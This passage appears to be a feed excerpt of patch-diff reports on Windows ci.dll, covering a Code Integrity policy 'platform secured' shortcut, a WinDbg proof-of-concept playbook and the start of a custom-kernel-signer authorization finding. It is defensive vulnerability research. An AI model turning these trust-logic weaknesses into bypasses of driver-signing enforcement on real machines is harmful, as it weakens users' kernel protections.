&lt;span class="mf"&gt;000000018001E2&lt;/span&gt;&lt;span class="n"&gt;EC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SbeAlloc&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;after&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pass&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E324&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The unpatched build has no size-overflow validation on this path (&lt;code&gt;RtlULongLongMult&lt;/code&gt; is absent from the entire unpatched binary); the patched build gates every multiplication and addition before allocating and copying.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To trigger the primary weakness (SI Policy "Platform Secured" Bypass):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Cause a System Integrity policy to be loaded/evaluated whose policy-options flag dword at offset &lt;code&gt;+0x710&lt;/code&gt; has bit 2 (&lt;code&gt;0x4&lt;/code&gt;) set but that does not carry the hardcoded identity value at &lt;code&gt;+0x6CC&lt;/code&gt;/&lt;code&gt;+0x6D4&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A code path calls &lt;code&gt;SIPolicyIsPolicyPlatformSecured&lt;/code&gt; with &lt;code&gt;arg2 = 0&lt;/code&gt; (the non-strict path).&lt;/li&gt;
&lt;li&gt;In the unpatched build the function hits the &lt;code&gt;bit 2&lt;/code&gt; early return and reports the policy as "platform secured" without the identity check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect&lt;/strong&gt;: The policy is treated as platform-secured (a trusted state) on the strength of a single flag bit. In the patched build the same input requires bit 0 set and the fixed identity match, otherwise it returns not-secured. The failure is purely logical; no BSOD occurs.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Provided Primitive&lt;/strong&gt;: SI-policy trust-state bypass. The unpatched logic lets a policy be classified as "platform secured" (a trusted state that downstream code relies on) using only flag bit 2, without the fixed policy-identity match. This is a logic/trust weakness, not a direct memory-corruption or code-execution primitive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitation Requirements&lt;/strong&gt;: &lt;/li&gt;
&lt;li&gt;An attacker must reach a state where a loaded SI policy has bit 2 set in the flag dword at &lt;code&gt;+0x710&lt;/code&gt; while lacking the hardcoded identity at &lt;code&gt;+0x6CC&lt;/code&gt;/&lt;code&gt;+0x6D4&lt;/code&gt;, and where a caller invokes the function with &lt;code&gt;arg2 = 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations &amp;amp; Bypasses&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VBS / HVCI&lt;/strong&gt;: In a related change, &lt;code&gt;CiHvciIsVbsPolicyFailure (sub_18006C428)&lt;/code&gt; adds a feature-gated check (&lt;code&gt;Feature_CodeIntegrity_TrustedLaunchPolicy__private_IsEnabledDeviceUsageNoInline&lt;/code&gt;, &lt;code&gt;sub_180018DF8&lt;/code&gt;) that tightens the HVCI/VBS policy-failure path via the flag bits at &lt;code&gt;+0x938&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;KASLR / SMEP / SMAP&lt;/strong&gt;: Not directly applicable, as this is a validation/trust-logic change rather than a memory-corruption chain.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;For a researcher with a kernel debugger (&lt;code&gt;WinDbg&lt;/code&gt; / &lt;code&gt;KD&lt;/code&gt;) attached to the &lt;strong&gt;unpatched&lt;/strong&gt; binary:&lt;/p&gt;
&lt;h4&gt;Breakpoints&lt;/h4&gt;
&lt;p&gt;Run the following commands to intercept the vulnerable logic:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ci!SIPolicyIsPolicyPlatformSecured
bp ci!SIPolicyIsPolicyPlatformSecured+0x55  &amp;quot;Location of the &amp;#39;test al, 4&amp;#39; shortcut (loc_18006FCDD)&amp;quot;
bp ci!SIPolicyIsPolicyMustBeWindowsSigned   &amp;quot;To monitor the hardcoded policy-identity allowlist&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;What to Inspect&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;ci!SIPolicyIsPolicyPlatformSecured&lt;/code&gt;:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt;: Pointer to the SI policy structure.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dl&lt;/code&gt; (&lt;code&gt;rdx&lt;/code&gt;): The &lt;code&gt;arg2&lt;/code&gt; strict flag. The shortcut requires &lt;code&gt;dl == 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[rcx+0x710]&lt;/code&gt;: Inspect the policy-options flags. Use &lt;code&gt;dd rcx+0x710 L1&lt;/code&gt;. Bit 2 (&lt;code&gt;0x4&lt;/code&gt;) must be set.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At the &lt;code&gt;loc_18006FCDD&lt;/code&gt; shortcut:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Single-step (&lt;code&gt;t&lt;/code&gt;) through &lt;code&gt;test al, 4&lt;/code&gt;. If it sets &lt;code&gt;al = 1&lt;/code&gt; and returns without reaching the identity compare at &lt;code&gt;+0x6CC&lt;/code&gt;/&lt;code&gt;+0x6D4&lt;/code&gt;, the shortcut is confirmed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Trigger Setup&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Boot Windows normally.&lt;/li&gt;
&lt;li&gt;Arrange for an SI policy to be loaded/evaluated so that &lt;code&gt;SIPolicyIsPolicyPlatformSecured&lt;/code&gt; is invoked with &lt;code&gt;arg2 = 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Trace into the function, then artificially set &lt;code&gt;[rcx+0x710] |= 4&lt;/code&gt; in the debugger to observe the immediate "platform secured" return in the unpatched build.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Expected Observation&lt;/h4&gt;
&lt;p&gt;After setting bit 2, the unpatched build sets &lt;code&gt;al = 1&lt;/code&gt; and returns immediately, skipping the identity compare. The patched build falls through to require bit 0 and the fixed identity at &lt;code&gt;+0x6CC&lt;/code&gt;/&lt;code&gt;+0x6D4&lt;/code&gt;, returning &lt;code&gt;0&lt;/code&gt; when those do not hold.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Function Name&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Similarity&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Change Type&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Note on Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;SIPolicyIsPolicyPlatformSecured (sub_18006FC88)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.50&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Security&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Removed early-return "platform secured" shortcut for &lt;code&gt;!arg2 &amp;amp;&amp;amp; result &amp;amp; 4&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;SIPolicyIsPolicyMustBeWindowsSigned (sub_18006FB74)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.40&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Relaxation&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Removed one entry (&lt;code&gt;0x4C3279F4784C4414&lt;/code&gt; / &lt;code&gt;0xD1DA542FBF0A5A6&lt;/code&gt;) from the Windows-signing mandate list; that identity is no longer forced to be Windows-signed (patched is less strict).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;CiHvciIsVbsPolicyFailure (sub_18006C428)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.45&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Security&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Added feature-gated (&lt;code&gt;Feature_CodeIntegrity_TrustedLaunchPolicy...&lt;/code&gt;, &lt;code&gt;sub_180018DF8&lt;/code&gt;) check on flag bits at &lt;code&gt;+0x938&lt;/code&gt; in the HVCI/VBS policy-failure path.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;I_FindFileOrHeaderHashInLoadedCatalogs (sub_1800D6FEC)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.60&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Security&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Swapped the SHA-256 catalog-hash &lt;code&gt;bsearch&lt;/code&gt; to the secure &lt;code&gt;bsearch_s&lt;/code&gt; variant.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;SbpParseSignatureDatabase&lt;/code&gt; (unpatched &lt;code&gt;@0x18000BDDC&lt;/code&gt;) / &lt;code&gt;SbpParseSignatureDatabaseFromBuffer&lt;/code&gt; (patched-only &lt;code&gt;@0x18001E1DC&lt;/code&gt;)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.35&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Security&lt;/td&gt;
&lt;td style="text-align: left;"&gt;EFI Secure Boot signature-database parser: patched replaces raw &lt;code&gt;shl&lt;/code&gt;-based allocation-size math with checked &lt;code&gt;RtlULongLongMult&lt;/code&gt; + carry checks before &lt;code&gt;SbeAlloc&lt;/code&gt;/&lt;code&gt;memmove&lt;/code&gt; (CWE-190 integer-overflow hardening).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;wil_details_FeatureStateCache_ReevaluateCachedFeatureEnabledState (sub_180018FC8)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.65&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;WIL feature-state cache: patched adds &lt;code&gt;| 0x40000&lt;/code&gt; to the cached feature-state value.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;SymCryptFdefDecideModulusType (sub_18000E878)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.60&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SymCrypt library math routine; patched adds &lt;code&gt;(v &amp;amp; 0xC000) == 0&lt;/code&gt; guard on a CPU-feature path.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;I_ParseCatalogAndMapHashes (sub_1800882F4)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.35&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Purely structural; inlined &lt;code&gt;I_AllocateCatalogParseBuffers (sub_1800884A0)&lt;/code&gt; (pool allocator for &lt;code&gt;0xed0&lt;/code&gt;-byte struct).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;CiQueryInformation (sub_1800D50A0)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.70&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Gated a flag on global configuration bit &lt;code&gt;(data_180045e70 &amp;amp; 0x400000)&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;SIPolicyParsePolicyData (sub_18006E09C)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.55&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Updated policy structure offsets (&lt;code&gt;+0xa80&lt;/code&gt; to &lt;code&gt;+0xaa0&lt;/code&gt;); added VBS checks.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;CipValidateFileHash (sub_1800DB310)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.50&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Struct offset shifts and VBS gating.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;CiUnpackPolicy (sub_1800AD8EC)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.60&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Both builds call &lt;code&gt;memmove&lt;/code&gt;; the referenced symbol difference is only an address shift, not a memcpy-to-memmove switch.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;CipMinCryptToAuthRoot2 (sub_180054BC4)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;0.50&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Behavioral&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Refactored policy verification logic for HVCI compatibility.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;One function was added in the patched build: &lt;code&gt;SbpParseSignatureDatabaseFromBuffer (@0x18001E1DC)&lt;/code&gt;. The patch extracted the EFI signature-database parsing/allocation logic (previously inline in &lt;code&gt;SbpParseSignatureDatabase&lt;/code&gt;) into this new helper and added the integer-overflow checks described in Finding 4. No functions were removed. All other modifications occurred inline within existing functions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level&lt;/strong&gt;: High for the diff facts, which are verified directly against both binaries. The decompilation and assembly confirm the &lt;code&gt;bit 2&lt;/code&gt; early-return being removed from &lt;code&gt;SIPolicyIsPolicyPlatformSecured&lt;/code&gt; (CWE-358) and the single entry &lt;code&gt;0x4C3279F4784C4414&lt;/code&gt; / &lt;code&gt;0xD1DA542FBF0A5A6&lt;/code&gt; being dropped from &lt;code&gt;SIPolicyIsPolicyMustBeWindowsSigned&lt;/code&gt;. The direction of the second change was re-checked against its caller and is a relaxation of a Windows-signing mandate, not a trust revocation. The end-to-end exploit impact of Finding 1 is less certain (see below), which is why it is rated Medium rather than High.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions&lt;/strong&gt;: &lt;/li&gt;
&lt;li&gt;The exact conditions that set bit 2 (&lt;code&gt;value &amp;amp; 4&lt;/code&gt;) at offset &lt;code&gt;+0x710&lt;/code&gt; of the SI policy structure are not visible in these two functions and are inferred to originate in policy parsing/setup. A researcher must trace policy initialization to find what sets this bit and whether it is attacker-influenceable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification Needed&lt;/strong&gt;: The two callers of &lt;code&gt;SIPolicyIsPolicyPlatformSecured&lt;/code&gt; were located in this binary: one honors a policy's &lt;code&gt;PlatformSecureSetting&lt;/code&gt; security-policy query only for platform-secured policies, and one proceeds with image validation once a loaded policy is platform-secured. A dynamic PoC would still be needed to show that an attacker-loadable policy can carry &lt;code&gt;+0x710&lt;/code&gt; bit 2 set without the fixed identity and thereby gain a meaningful trust elevation.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>ci.dll — Security-relevant change: custom-kernel-signer trust-decision hardening (CWE-863), plus SymCrypt ML-DSA termination hardening</title><link href="https://byteray-ai.github.io/drift-corpus/item/ci_a8f3efcf-ci-report-20260628-222735.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/ci_a8f3efcf-ci-report-20260628-222735.html</id><summary type="html">&lt;p&gt;KB5095051&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;ci_unpatched.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;ci_patched.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9803 (98.03%)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 2585 matched functions, 51 changed functions, 2534 identical functions, 0 unmatched functions (both directions).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch contains one security-relevant trust-decision hardening plus a body of statically-linked SymCrypt ML-DSA (Dilithium) termination hardening. The security-relevant change (see section 1a) rewrites &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; so that the custom-kernel-signer allowance folded into &lt;code&gt;g_CiDeveloperMode&lt;/code&gt; bit 0xD can no longer be granted by any loaded SI policy: the patched build gates the whole decision behind a registry-backed lock byte and restricts the flag check to the base policy only, closing a policy-confusion path in which a supplemental (non-base) policy could enable unsigned/self-signed kernel-mode signers. The SymCrypt ML-DSA change adds fixed upper iteration bounds to three rejection-sampling loops (&lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt;, &lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt;, &lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt;) and propagates the resulting error code through the ML-DSA callers; those loops read from a freshly-initialized SHAKE/Keccak sponge, not from raw attacker bytes, so the bounds are a defensive termination guarantee (library hardening), not a fix for an attacker-reachable denial of service.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;1a. Security-Relevant Finding — Custom Kernel Signer Policy-Confusion Hardening&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Function:&lt;/strong&gt; &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; (unpatched &lt;code&gt;0x180073964&lt;/code&gt; / patched &lt;code&gt;0x1800764A8&lt;/code&gt;), plus the newly-split helper &lt;code&gt;SIPolicyCheckCustomKernelSignersAllowed&lt;/code&gt; (patched &lt;code&gt;0x18007652C&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE:&lt;/strong&gt; CWE-863 (Incorrect Authorization). The unpatched build makes the custom-kernel-signer trust decision using the wrong authority set (any loaded SI policy, base or supplemental) and with no lock gate; the patched build corrects the check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direction:&lt;/strong&gt; Correct — the patched build is strictly stricter. It can only return TRUE (custom kernel signers allowed) in a subset of the cases the unpatched build accepts.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;What the function decides&lt;/h3&gt;
&lt;p&gt;Both call sites fold this function's boolean result directly into &lt;code&gt;g_CiDeveloperMode&lt;/code&gt; bit 0xD, the global flag Code Integrity consults when deciding whether unsigned / self-signed (custom-kernel-signer, test-signing style) kernel-mode drivers are treated as allowed.&lt;/p&gt;
&lt;p&gt;Unpatched call site &lt;code&gt;0x18001A5F0&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;000000018001&lt;/span&gt;&lt;span class="n"&gt;A5F0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/span&gt;
&lt;span class="mf"&gt;000000018001&lt;/span&gt;&lt;span class="n"&gt;A5F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;
&lt;span class="mf"&gt;000000018001&lt;/span&gt;&lt;span class="n"&gt;A5F7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;btr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r10d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Dh&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_CiDeveloperMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xD&lt;/span&gt;
&lt;span class="mf"&gt;000000018001&lt;/span&gt;&lt;span class="n"&gt;A5FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Dh&lt;/span&gt;
&lt;span class="mf"&gt;000000018001&lt;/span&gt;&lt;span class="n"&gt;A5FF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r10d&lt;/span&gt;
&lt;span class="mf"&gt;000000018001&lt;/span&gt;&lt;span class="n"&gt;A602&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;g_CiDeveloperMode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xD&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched call site &lt;code&gt;0x18001A7AC&lt;/code&gt; folds the result into &lt;code&gt;g_CiDeveloperMode&lt;/code&gt; bit 0xD the same way (&lt;code&gt;shl eax,0Dh&lt;/code&gt; / &lt;code&gt;btr ebx,0Dh&lt;/code&gt; / &lt;code&gt;or eax,ebx&lt;/code&gt; / &lt;code&gt;mov cs:g_CiDeveloperMode, eax&lt;/code&gt; at &lt;code&gt;0x18001A7BA&lt;/code&gt;-&lt;code&gt;0x18001A7C7&lt;/code&gt;). A second patched call site exists at &lt;code&gt;0x18006BC0C&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Unpatched logic — OR across ALL policies, no gate (&lt;code&gt;0x180073964&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;The function walks every loaded SI policy (&lt;code&gt;g_SiPolicyHandles[0 .. g_NumberOfSiPolicies)&lt;/code&gt;) and returns TRUE if ANY policy's flags field (&lt;code&gt;+0x708&lt;/code&gt;) has the relevant bit set. There is no lock check and no base-policy restriction:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;000000018007396&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;g_NumberOfSiPolicies&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;over&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;ALL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;policies&lt;/span&gt;
&lt;span class="mi"&gt;0000000180073971&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_18007399B&lt;/span&gt;
&lt;span class="mi"&gt;0000000180073973&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;g_SiPolicyHandles&lt;/span&gt;
&lt;span class="mi"&gt;000000018007397&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+rdx*8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
